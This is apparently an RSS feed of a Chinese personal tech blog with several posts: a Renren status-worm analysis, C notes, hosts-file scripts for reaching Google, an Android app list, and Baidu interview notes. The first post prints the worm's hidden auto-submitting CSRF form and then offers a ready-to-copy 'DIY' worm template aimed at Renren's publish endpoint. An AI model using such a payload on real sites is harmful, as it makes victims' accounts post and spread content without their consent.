瑶池西望 · 紫气东来 http://logicmd.net 记录点滴技术生活 Mon, 20 Feb 2012 09:15:07 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 通过‘人人网6周年’活动发布的XSS分析 http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/ http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/#comments Sat, 10 Dec 2011 06:52:43 +0000 logicmd http://logicmd.net/?p=42912 大约半年前，人人弄出国站内信”暗恋门”XSS的漏洞，盗取cookies，病毒分发站内信，曾有童鞋撰文分析过这个事件。（传送门）

今天，满屏的姜姝君（没截图，人人自己公关删太快了）和后来的技术宅改变世界的状态都是这次XSS的具体体现

表现在，点击URL以后，立马也会发一个同样状态，LZ也有中招，翻看技术宅改变世界http://www.wix.com/active93/active93）的源代码

可以在header中看到

<script type="text/javascript">
    //<![CDATA[
    var serviceTopology = {"serverName":"apu1.wixpress.com","cacheKillerVersion":"v=527","staticServerUrl":"http://static.wix.com","biServerUrl":"http://frog.wix.com","userServerUrl":"http://users.wix.com","billingServerUrl":"http://premium.wix.com","mediaRootUrl":"http://0.static.wix.com","htmlComponentServerUrl":"http://www.flashquix.com/embeds","logServerUrl":"http://frog.wix.com/plebs","monitoringServerUrl":"http://TODO"};
...
//]]>
</script>

实际调用了http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&gzip=true&bg=transparent

这个js，别直接点开，否者就会执行这个js了 =。=

chrome里打开view-source:http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&gzip=true&bg=transparent

（或者其他你喜欢的浏览器替换view-source:部分）

安全查看这个js的源码

发现

<html>
<head>
    <title></title>
    <style type="text/css">
        html, body {
            height: 100%;
        }
        body {
            margin: 0;
            padding: 0;
        }
    </style>
</head>
<body bgcolor="transparent">
  <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Thanks for you click.</title>

</head>
<body>
<iframe name="destination" width="0" height="0"></iframe>

This is the TRUTH. Just major in COMPUTER SCIENCE!!!

<div id="kokia" style="float:left;display:none;">

<form id="akiko" name="akiko" action="http://6.renren.com/sixyears/publish" method="POST" target="destination">
  <p>type: <input type="text" name="type" value="2"/></p>
  <p>raw: <input type="text" name="raw" value="技术宅改变世界。。。http://www.wix.com/active93/active93"/></p>
  <input type="submit" value="Submit" />
</form>
</form>

</div>

<script>
	document.akiko.submit();
</script>
<script type="text/javascript">var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F278a7f54490f000cde62d2dbfed2f0b7' type='text/javascript'%3E%3C/script%3E"));</script>

</body>

</html>

</body>
</html>

主要内容就是这个post了，额，人人在post时候没有检查post来源，应该就是这次XSS的主要原因。

这次似乎没有窃取cookies，一点见解，大牛勿拍

 

Update: 如何DIY一个人人XSS，伸手党点这里

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>你需要的html标题</title>
	</head>
	<body>
		<iframe name="destination" width="0" height="0"></iframe>
		<h2>内容标题啊</h2>
		<p>内容啊</p>
		<div id="kokia" style="float:left;display:none;">
			<form id="akiko" name="akiko" action="http://6.renren.com/sixyears/publish" method="POST" target="destination">
				<p>type: <input type="text" name="type" value="2"/></p>
				<p>raw: <input type="text" name="raw" value="状态内容，记得加上本URL哦，亲  "/></p>
				<input type="submit" value="Submit" />
			</form>
		</div>
		<script>
			document.akiko.submit();
		</script>
		<!--来个图片神马的-->
		<image src="imageURL"></image>
	</body>
</html>
]]> http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/feed/ 4 Monologue on Programming http://logicmd.net/2011/09/monologue-on-programming/ http://logicmd.net/2011/09/monologue-on-programming/#comments Fri, 30 Sep 2011 07:26:03 +0000 logicmd http://logicmd.net/?p=42904 1.声明变量尽量在函数开头 
#include <stdio.h>
#include <string.h>
char name[]=”mygogou”;
int main()
{
    char output[8];
    strcpy(output, name);
    for(int i=0;i<8&&name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}

写在.c文件中会编译报错。

Compiling…
tmsg.c
E:\as\vc-code\1\tmsg.c(8) : error C2143: syntax error : missing ‘;’ before ‘type’

经查证这是因为c和c++关于变量声明的一点点不同：

C语言是要求你必须将变量在函数开始处进行声明的，不支持在任意地方声明变量。

因此换成这样的就编译通过啦：

#include <stdio.h>
#include <string.h>
char name[]=”mygogou”;
int main()
{
    char output[8];
    int i;
    strcpy(output, name);
    for(i=0;i<8&&name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}

在C++语言中无这种限制。但是个人倾向于将声明放在函数开头部分，参加3GLive期间的问题。

2.fwrite和fprintf存在缓冲区

是先写到内存的，fprintf,fwrite都是从用户缓冲写到标准io的缓冲，然后从标准io的缓冲到内核缓冲，最后才由操作系统写入文件。

  1. 文件缓冲区滿时自动写入文件
  2. 强制文件缓冲区时自动写入文件：如fflush(),fclose()及程序结束等

因而一定记得fflsuh()和fclose()否则，当程序没有正常返回，Ctrl-C或者crash时，buffer就被drop鸟。

int main()
{
	FILE *fpRead, *fpWrite;
	if((fpRead = fopen("d:\\test.txt", "r")) != NULL)
    {
		if(remove("d:\\test.txt")==-1)
		{
			printf("could not delete.");
		}
    }
	fpWrite=fopen("d:\\test.txt", "at+");
	char x[11]="FUCK YOU2!";
	//fwrite(x, sizeof(x[0]), sizeof(x)/sizeof(x[0]), fpWrite);
	for(int i=0; i<11; i++)
	{
		fprintf(fpWrite, "%c", x[i]);
	}
	fprintf(fpWrite, "\n");
	fprintf(fpWrite, "hello");
	fflush(fpWrite);
	return 0;
}
]]> http://logicmd.net/2011/09/monologue-on-programming/feed/ 0 #pex4fun Challenge 2nd Fibonacci http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/ http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/#comments Thu, 15 Sep 2011 07:09:34 +0000 logicmd http://logicmd.net/?p=42902

Pex is Automated White box Testing for .NET from Microsoft Research.

Pex for fun on the web is a radically simplified version of the fully featured Pex Power Tool for Visual Studio.

Challenge Fibonacci 2 is a kind of the simplest recursive problem after you find out the duel is actually second order Fibonacci array.

using System;

public class Program {
  public static int Puzzle(int x) {
    // Can you write code to solve the puzzle? Ask Pex to see how close you are.
    if (x <= 1) return x;
    if (x == 2) return 3;

    return Puzzle(x-1)*2 - Puzzle(x-3);
  }
}
]]> http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/feed/ 0 Google Host Patch自动获取脚本 http://logicmd.net/2011/07/automatically-get-google-host-patch-script/ http://logicmd.net/2011/07/automatically-get-google-host-patch-script/#comments Mon, 18 Jul 2011 02:55:11 +0000 logicmd http://logicmd.net/?p=42442 Google最近发布了Google Plus，但是几乎是刚刚一发布就无法访问，同时面对着GMail，Google搜索越来越频繁的连接阻断问题，我们急需要一个方案来更方便的访问Google服务。

如果在校园网中，IPv6无疑是一个良好的解决方案，本博这篇文章给出了相关方法，在Google Code上也有一个Project专门维护Google IPv6的Host列表。

但是在没有IPv6环境的情况，这个自动脚本就有了意义。本脚本最初来自Google+ 上的Felix Hsu，他已发布正式版，但是我还是个人更喜欢这个version 3一些~ XD

Windows Vista/7用户在开启UAC的情况下需要“右键->以管理员的身份运行”

点击此下载该脚本
建议大家使用smarthosts

@echo off
REM 欢迎圈我,在顶栏的"查找人员"处输入Felix Hsu即可
REM Mod by logicmd
REM 准备工作,先清一下DNS缓存,再备份hosts
ipconfig /flushdns
cls

REM 测试时有的朋友会不耐烦的点掉,咱提示一下:
echo Google+ hosts自动修改脚本
echo 请稍等一下,正在通过网络获取可用IP

REM 然后ping www.google.cn和www.google.com以获取最新的IP,赋值%CNIP%和%COMIP%
REM ping ditu.google.cn获取最新的IP,赋值%MAPIP%

for /f "tokens=2 delims=[]" %%i in ('ping www.g.cn') do set CNIP=%%i
for /f "tokens=2 delims=[]" %%i in ('ping www.l.google.com') do set COMIP=%%i
for /f "tokens=2 delims=[]" %%i in ('ping ditu.google.cn') do set MAPIP=%%i

REM 找到之前改过的行,删掉,很stupid的方法...
type %windir%\System32\drivers\etc\hosts|find "#THISISNOTE" /i /v|find "#Google Plus" /i /v|findstr "." >>%windir%\System32\drivers\etc\hosts2
ren %windir%\System32\drivers\etc\hosts hosts3
ren %windir%\System32\drivers\etc\hosts2 hosts
del hosts3 /s /q

REM 为了美观和避免直接在文件末尾添加的惨剧,咱空一行
echo.  >>%windir%\System32\drivers\etc\hosts
echo #Google Plus >>%windir%\System32\drivers\etc\hosts

REM 把获取到的%CNIP%和%COMIP%给写进去,为了方便以后可以删除,加了一个#THISISNOTE 的注释,我实在是想不出怎么做了,望见谅
echo %CNIP% plus.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% talkgadget.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% picasaweb.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh1.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh2.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh3.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh4.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh5.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %COMIP% lh6.ggpht.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh6.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh5.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh4.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh3.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh2.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% lh1.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com.hk  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% plusone.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% s2.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% s1.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images1-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images2-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images3-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images4-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images5-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images6-focus-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% images-pos-opensocial.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% maps-api-ssl.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com.hk  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% webcache.googleusercontent.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% mail.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% www.googlelabs.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% docs.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% profiles.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% services.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% clients4.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% clients2.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% chrome.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %CNIP% tools.google.com #THISISNOTE >>%windir%\System32\drivers\etc\hosts 

REM 把获取到的%MAPIP%
echo %MAPIP% maps.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts
echo %MAPIP% ditu.google.com  #THISISNOTE >>%windir%\System32\drivers\etc\hosts  

REM ok,搞定
echo 您的hosts编辑完成.
REM 按任意键继续的功能千万别有,否则别人问你按任意键是神马意思的话...

UPDATE：建议大家使用smarthosts

FAQ[1]

  • 这些IP是否可靠？

这些IP都来自于GoogleCN在BJ的数据中心，包括大约30个C段IP（203.208.32.0 – 203.208.63.255）

  • 这些IP都在国内理论上将是否能够一直可用？

不能保证未来的可用性。

  • 用这些Host是否意味着Google用户的Mail/Plus/Picasa存在BJ的数据中心的呢？还是采用的反向代理或者隧道一类的技术？

只是反向代理，谷歌分布式系统中的 Web server 部分，参见 [2]。

Promotion

最后，荒淫大家来圈我。


[1]http://www.zhihu.com/question/19749678
[2][Micro'03] Web search for a planet: The Google cluster architecture http://static.googleusercontent.com/external_content/untrusted_dlcp/labs.google.com/en//papers/googlecluster-ieee.pdf

]]> http://logicmd.net/2011/07/automatically-get-google-host-patch-script/feed/ 9 快速切换IPv4/IPv6 host的脚本 http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/ http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/#comments Mon, 20 Jun 2011 17:32:52 +0000 logicmd http://logicmd.net/?p=42437 这篇文章讲了一些Google等国外网站IPv6 host列表。使用它们速度更快，更无束缚。但是如果在一个IPv6经常坏掉的校园网，或者需要经常移动到没有IPv6的网络中，一个切换IPv4/IPv6 host列表的脚本无疑很重要。

Windows平台

Window平台中host列表存放在 %windir%\System32\drivers\etc，我们规定IPv6的hosts存放在hosts.v6，IPv4的hosts存放在hosts.v4，处于其中一个状态时其内容存放在hosts文件中，使用如下batch则可以完成hosts状态的判断。

::	Description:
::	  This batch is used to switch host files from ipv4 to ipv6 or the other.

@ECHO OFF
SET FileLocation=%WINDIR%\System32\drivers\etc
SET IPV4FileName=hosts.v4
SET IPV6FileName=hosts.v6
SET TargetFileName=hosts

:: If host.ipv6 exits, switch to IPV6, else switch to IPV4
IF EXIST %FileLocation%\%IPV6FileName% (

	:: Switch to IPV6
	CHOICE /M "Swithed to IPv6?" /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv6 Hosts!

	REN %FileLocation%\%TargetFileName% %IPV4FileName%
	REN %FileLocation%\%IPV6FileName% %TargetFileName%

) ELSE IF EXIST %FileLocation%\%IPV4FileName% (

	:: Switch to IPV4
	CHOICE /M "Swithed to IPv4?" /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv4 Hosts!

	REN %FileLocation%\%TargetFileName% %IPV6FileName%
	REN %FileLocation%\%IPV4FileName% %TargetFileName%

)

PAUSE
EXIT

:END
ECHO Nothing changed!

在Windows vista和 Windows 7系统中，有用户帐户控制（UAC），总是右键去点击使用管理员权限执行会麻烦，一个解决方案是使用Quick batch file compiler将其编译成exe，然后设定成总是需要管理员权限即可。
最终生成的是SwitchHosts.exe文件。

脚本下载地址：
http://dl.dbank.com/c0l8vthy17

Linux平台

Linux平台中host列表存放在 \etc，我们做同样的文件名规定。

#!/bin/bash
#Description:
#This scripts is used to switch host files from ipv4 to ipv6 or the other.
if [ -f /etc/hosts.v6 ] # Now using ipv4 mode
then
	sudo cp /etc/hosts /etc/hosts.v4
	sudo cp /etc/hosts.v6 /etc/hosts
	sudo rm -f /etc/hosts.v6
	echo "Successfully switched to ipv6 hosts!"
elif [ -f /etc/hosts.v4 ] # Now using ipv6 mode
then
	sudo cp /etc/hosts /etc/hosts.v6
        sudo cp /etc/hosts.v4 /etc/hosts
        sudo rm -f /etc/hosts.v4
	echo "Successfully switched to ipv4 hosts!"
else
	echo "ERROR! No Backup File is found!"
fi

最后 

chmod switch 644
cp ./switch /usr/bin

之后直接在terminal中输入switch即可~
在Ubuntu 10.04测试通过。
EOF

]]> http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/feed/ 13 Share of my seminar presentation http://logicmd.net/2011/04/share-of-my-seminar-presentation/ http://logicmd.net/2011/04/share-of-my-seminar-presentation/#comments Fri, 29 Apr 2011 13:49:08 +0000 logicmd http://logicmd.net/?p=42433 Introduction

On April 28th, I have my first seminar presentation in ICST. As a newbie, I choose a survey paper as my first try whose title is Transport methods in 3DTV.

The presentation is a refined version of the original paper. All the documents is shown as belows. Hope you enjoy them and feel free to comment whatever in your mind :-)

Presentation

Original paper

]]> http://logicmd.net/2011/04/share-of-my-seminar-presentation/feed/ 0 我的Android Apps清单 http://logicmd.net/2011/02/list-of-my-android-apps/ http://logicmd.net/2011/02/list-of-my-android-apps/#comments Tue, 01 Feb 2011 13:10:45 +0000 logicmd http://logicmd.net/?p=42424

入手Desire Z一周多，尝试过的Android应用来来去去也有100多个了，不敢独享，特来分享 :-) 

Live Version: http://bit.ly/my-android-apps

零、关于市场

什么东西进入中国都有“中国特色”，在这一点上Android也不能例外，本来Google 官方好好的 Android Market，在国内又出现了数十个论坛自己所谓的市场。在我看来，尽量只使用Android Market官方市场，毕竟有巨大的用户数量做保证（国外貌似没有这么多鱼龙混杂的市场），又有25美刀的注册费做门槛；这样一来太糟糕、恶意的应用很难藏身。所谓的“数字卫士”，所谓的安X市场应用检测倒显得没有必要了。

闲话不说开始正题。

壹、验机必备（三只）

Desire Z在国内只有私货，验机很重要！

Dead Pixel Test

  • Dead Pixel Test

用最高亮度多达10钟颜色壁纸检查LCD是否有亮点坏点。
MultiTouch Tester

  • MultiTouch Tester

检查多点触控点数。
Z-DeviceTest

  • Z-DeviceTest

给机身所有硬件，包括摄像头、GPS、蓝牙，加速度计、罗盘、扬声器、话筒以及所有你想得到的硬件，做检查。

贰、Google App类（九只）

Android手机系Google出品，最大的特色有很多推送的应用。

Market Enabler

  • Market Enabler（需要root权限）

Must have app。有了它才能在菜市场看到很多好用但是不面向天朝的应用。（例如Google maps）
Google Maps

Must have app。最新的5.0版支持离线地图，且地图全部采用矢量图存储，更少的Loading；有了罗盘模式手机再也不必转来转去了~
Street View on Google Maps

Google Maps街景模式插件。开了罗盘模式后效果一级震撼啊！但是在国内几乎没用，肉身不能出国的来看看吧。
Google Earth

很好玩，提供几乎跟PC上同样的效果，看到很多Panoramio图床的风景。
Google Sky Map

据说是把妹必备应用 :mrgreen: 非常有创意，非常好玩。
Google Goggles

第一次好像要VPN后之后才能正常使用。条形码识别跟国内产品线不对应，使用意义不大。能解数独，这点很创意的可是居然只开放给米国使用，挂VPN后国内方可使用。
Google Reader

Must have app。不解释，第一次好像也要VPN后才能正常使用
Chrome to Phone

  • Chrome to Phone（谷歌浏览器转手机）

多好的服务啊，可惜也被墙了…
GTasks

  • GTasks

非官方出品，和Google Task 同步，效果不错。 和ROM中的Google Calender一起，GTD必备。

叁、通信及系統类（十一只）

来源于对于Symbain平台上“来电通”功能的需要。来去电归属地和来电黑名单ROM里面有了，Android版的来电通很不给力。

Missed Call

  • Missed Call

用于未接来电提醒，很小巧，不累赘。未读短信提醒做的很糟糕，只用未接来电提醒好了。 = =
GO SMS

  • GO SMS

少见的国产软件精品，用于未读短信提醒，还有很多短信增强功能。用过 Handcent SMS，更加老牌，但是不是很符合国内使用习惯，UI也没有GO SMS好看。
3G Watchdog Pro

  • 3G Watchdog Pro

流量监控，带有直观的widget，还可以按时间，按应用生成流量报告，很强大，Must Have！
Advanced Task Killer

  • Advanced Task Killer

任务管理器，Must Have！很小巧，很高效。
Root Explorer

  • Root Explorer

文件管理器，需要root，神器，很高效。ROM里面有OI文件管理卸不掉，用过ASTRO，好臃肿。
Adfree

  • Adfree

需root，原理就是修改机身hosts，把广告（应该是Admob吧）统统屏蔽（据说对国内安A机B安C市场中app广告不起作用，看看还是官方菜市场好吧 :mrgreen: ）
搜狗输入法

  • 搜狗输入法

先是试用了百度输入法，对于800*480这个分辨率支持很不友好，虚拟键盘图片看起来很不清晰，标点符号也不够常用，当然9宫格输入字母的时候还是不错的。然后换了搜狗输入法，UI很不错~
Lookout Mobile Security

  • Lookout Mobile Security

Android平台上的Find my phone，用过一次定位很慢，警报也能自行停止。关键是Android手机不是iPhone那般密封，大大多可以通过拔电池解决，再加上root后的手机随随便便就能wipe -.-

类似的软件还有Find My Phone（短信通信看起来不很友好）和Seek Droid（0.99刀）。
OpenVPN Settings

如果不是一直开着terminal，还是用这个OpenVPN的外壳吧，比TunnelDroid好用（头标也忒丑了）。偶是CM系统内置OpenVPN，否则，您也许还需要OpenVPN Installer。
ConnectBot

  • ConnectBot

SSH管理远程主机必备，支持密钥认证；当然也可以蛋疼地telnet bbs。
OpenVPN Settings

  • Brightness Toggle Widget

Must have，小巧，多达10阶亮度调整，双击进入自适应状态。比系统自带的电量控制Widget好用

肆、影音娱乐类（五只）

快图浏览

  • 快图浏览

Must Have！ 各种给力！从某种意义上说，全拜ROM中官方图库（Gallery）所赐，BTW，Gallery那个缩略图载入速度，那个低DPI，一开始我还以为是屏幕坏了！要不是有个3D效果，要不是还带重力感应，可以少量装X，我早就%……￥&！！
VPlayer

  • VPlayer

据说超越RockPlayer的应用，我都装着。（RockPlayer的介绍看着好专业~~）
Camera 360

  • Camera 360

相机效果，比系统内置相机好用。
PicSay Pro

  • PicSay Pro

还没怎么用，备着。还装了魔图精灵，更符合国人审美观。
Picplz

  • Picplz

Android上的instagrm，各种效果，各种web2.0，用@WilliamLong的说法是可以取代Flickr了，暂时不支持Desire z -.-

伍、Web & Web2.0类（八只）

UC

  • UC浏览器

主要还是用系统自带的浏览器，挑个小流量备用的。用过天天浏览器（各种版本老是FC），用过Opera Mobile，还是UC老牌，UI舒服，渲染也不错，逛Discuz!论坛必备。
Opera Mini

  • Opera Mini

改服版，大家懂得。
Twidroyd

  • Twidroyd

上推必备，尽管Seesmic UI更精致更HD，但是还是功能多的顺手，特别是LivePreview，神马图床的推都可看了，很强大！
CB沙发器

  • CB沙发器

常上cnBeta人士必备！
人人网

  • 人人网

可以给通信录加头像，呵呵。
新浪围脖

  • 新浪围脖

还没登陆过-.-，不需要推送的就不必下了。
aQQ

  • aQQ

官方版的QQ实在是太庞大，太臃肿，太平台化了，很少上手机聊，还是民间精简版吧~ Must Have！
miniFetion

  • miniFetion

同PC端，非移动号码也能用，Must Have！

陆、实用工具类（十三只）

Fancy Widget Pro

  • Fancy Widget Pro

人如其名，非常华丽(Fancy)的天气Widget，HTC Sense UI天气？ MIUI天气？统统没问题，尽在Fancy Widget Pro。
猜火车

  • 猜火车

我用过的最好用的余票查询系统。Must Have
北京地铁

  • 北京地铁

头标好帅好帅，这组神奇的地铁软件分了N个城市发布在菜市场。
Moon+ Reader

  • Moon+ Reader（静读天下）

RSS，书籍， txt/ePub/umd/…最好用的电子书软件，Must Have
Barcode Scanner

  • Barcode Scanner

老牌条形码识别，还不错，背后有丰富的后端程序（针对国内市场嘛）
QuickMark

  • QuickMark

“QuickMark”，挪鸡鸭上的经典软件，对中文支持强于Barcode Scanner。
图书比价

  • 图书比价

利用Barcode Scanner扫描识别的数据，给出图书在卓越当当的价格对比，更有豆瓣书评，Must Have！
我查查

  • 我查查

其实UI蛮丑的，web感非常重，但是国内是在没有那么好用的条形码查价格app，先用着，大家有更好的给我留言。
麦当劳绿色环保手机优惠券

  • 麦当劳绿色环保手机优惠券（McDonald Coupon）

据说是在肯德基店不接受电子优惠券以后才流行起来的 :mrgreen:
ESPN ScoreCenter

  • ESPN ScoreCenter

体育迷必备，所有你想的到的体育项目，比分，数据，评论。
有道词典

  • 有道词典

个人觉得最好用的词典。本地词典装了CulorDict，和Moon+ Reader配合很好用。
Sound Hound

  • Sound Hound ∞

著名哼唱搜素网站Midomi 的Android Apps，很实用，Must Have！
DropBox

  • DropBox

Web端解封了，PC端解封了，Android端还会远吗？最好用的跨平台云存储

柒、游戏装X类（八只）

玩的游戏比较少，推荐不具有代表性，嗯嗯~

Fruit Ninja

  • Fruit Ninja（水果忍者）

最喜欢玩的游戏
Angry-Bird

  • Angry Bird（愤怒的小鸟）

不解释，最近太火了
Angry Bird 全家福
Talking Tom

  • Talking Tom（会说话的Tom猫）

据说把妹必备
Doodle Jump

  • Doodle Jump/Mega Jump/Ninja Jump/Hyper Jump

适合触屏玩的休闲游戏，后面的几乎都是抄袭前面的。第一个最朴实，第二个最华丽，后面的还没装…
植物大战僵尸

  • 植物大战僵尸

虽说是国内一个团队仿制的，但是效果还不错，但是不适合在触屏上玩
iLightr

  • iLightr

再一个装X类，1.2以后还可以吹灭，呵呵。
Solo

  • Solo（吉他独奏）

著名的iPhone女之后涌现的Android女御用App。
Musical Pro

  • Musical Pro（移动演奏家）

非常棒的钢琴演奏效果，还带有练曲功能，即使完全是乐盲也能奏出好听的曲子~比同类的xPiano和MyPiano好，但是Desire Z的外放实在是渣

]]> http://logicmd.net/2011/02/list-of-my-android-apps/feed/ 6 实习面经（二）：百度商务搜索部 http://logicmd.net/2011/01/internship-interview-experience-baidu/ http://logicmd.net/2011/01/internship-interview-experience-baidu/#comments Fri, 31 Dec 2010 17:12:49 +0000 logicmd http://logicmd.net/?p=42410 在bbs看到招实习的帖子后，我发了Email，大约1一周后，接到助理MM的电话，预约我是否最近有空，可以进行电面。最后我们约好在第二天下午进行电面。

一面

周四下午我一直处于等待之中，三点十分的时候，我接到面试官的电话，询问20分钟后是否有空，要求我准备好纸笔一类。三点半面试正式开始。

开始同样要求做自我介绍，然后在开始正式的电面。

  • 关于数据库的。

    • 开始问了我数据库中索引的概念，应该算是warming up吧。由于我没有学过数据库类的课程，所以说的有些含糊不清。百度百科里对于索引是这么定义的。

    使用索引可快速访问数据库表中的特定信息。索引是对数据库表中一列或多列的值进行排序的一种结构，例如 employee 表的姓（name）列。如果要按姓查找特定职员，与必须搜索表中的所有行相比，索引会帮助您更快地获得该信息。

    索引是一个单独的、物理的数据库结构，它是某个表中一列或若干列值的集合和相应的指向表中物理标识这些值的数据页的逻辑指针清单。

    索引提供指向存储在表的指定列中的数据值的指针，然后根据您指定的排序顺序对这些指针排序。数据库使用索引的方式与您使用书籍中的索引的方式很相似：它搜索索引以找到特定值，然后顺指针找到包含该值的行。

    接下来就是操作数据库的语言，个人是用PHP操作过数据库，所以面试官也没有问太多内容。

    再接着问了一个情景，对于很多人访问同一个数据库发出了很多请求，如何优化？答曰使用缓存，缓存可以减小数据库的压力，提高响应速度；又问了缓存的弊端，我也大概地答了一下，缓存要考虑过期时间的问题，可能会更新不及时，有时候需要手动更新缓存blabla。

  • 一个具体的情景

    • 一篇很长很长的英文文章，中间可能出现[a-z;A-Z]，统计哪个字母没有出现过。
    这个我居然说用hash表，囧。
    然后把结果储存起来发给下游，最小的储存结构是什么。答曰char[52]数组即可。

  • 关于二叉树
    1. 什么是平衡二叉树？

      2. 这个没答上来， :cry: 传送门。

    2. 举出一个特殊二叉树。

      3. 偶居然说huffman编码的结构。（额，真的是信息论学多了。）

    3. 二叉树的存储结构。

      4. 我说了一种《数据结构》里面的存法，先根遍历加中根遍历可以唯一的确定一棵二叉树。问有没有更小的数据结构存储。思考良久未果。（现在想想在先序遍历每一层加个标记就可以唯一确定了 8-O ）

  • 关于多叉树数据结构实现

    • 当然需要一个变量存储该节点内容。至于多叉的结构。我已开始说数组，但是申请多少呢？所以想到了链表。现在去查了一下资料。链表确实是不错的选择。

    // 节点结构
typedef struct node
{
	void * data ; // 内容存储在这里
	// 至于内容是什么类型的，全靠程序员自己把握。
	struct node * nextnode ; // 同一父节点下的其他节点，
	// 最后一个节点该指针为NULL
	struct node * sublevel ; // 子节点指针，指向第一个子节点；
	// 无子节点该指针为NULL
}Node ;

整个一面大约持续40分钟。感觉只答对了大约一半的问题，sigh… 没想到过了不到10分钟，二面电话就来了。

二面

二面一上来便要求我说明可能的实习时间，以及要求我详细滴介绍了项目和竞赛获奖情况。接下来就开始正式面试了

  • 一些Linux命令的问题
    1. 看剩余内存是多少用什么命令？——free
    2. vm-state是干嘛的？这个我还真不知道，后面去搜索也没搜出来
    3. 结束进程用什么命令？——kill
    4. 强制结束进程要给什么信号？——答不记得了，应该看manual可以查到 = =! 后来查了一下是给kill -9
    5. 100！末尾有几个0？（这不是小学奥赛题么？）
    6. 大边对齐、小边对齐（这个真没听说过；现在想想是不是问的大端法，小端法的问题 = =）
  • 关于兄弟单词

    给你一个单词a，如果通过交换单词中字母的顺序可以得到另外的单词b，那么定义b是a的兄弟单词。现在给你一个字典，用户输入一个单词，让你根据字典找出这个单词有多少个兄弟单词。 （这道题面试官说有O(1) 的解法，。。。。。）

    定义 操作 F(A1,A2,A3….An)=P(A1)*P(A2)*P(A3)…..P(An);

    其中 P(A1)= PrimeNum[A1-'a'],
    PrimeNum 是从2开始的连续 素数 数组(2,3,5,7,…..)

    示例:
    F(bad)=P(b)*P(a)*P(d)=3*2*7=42

    遍历字典,求每个单词的F()操作值,如果相等就是,不等就下一个

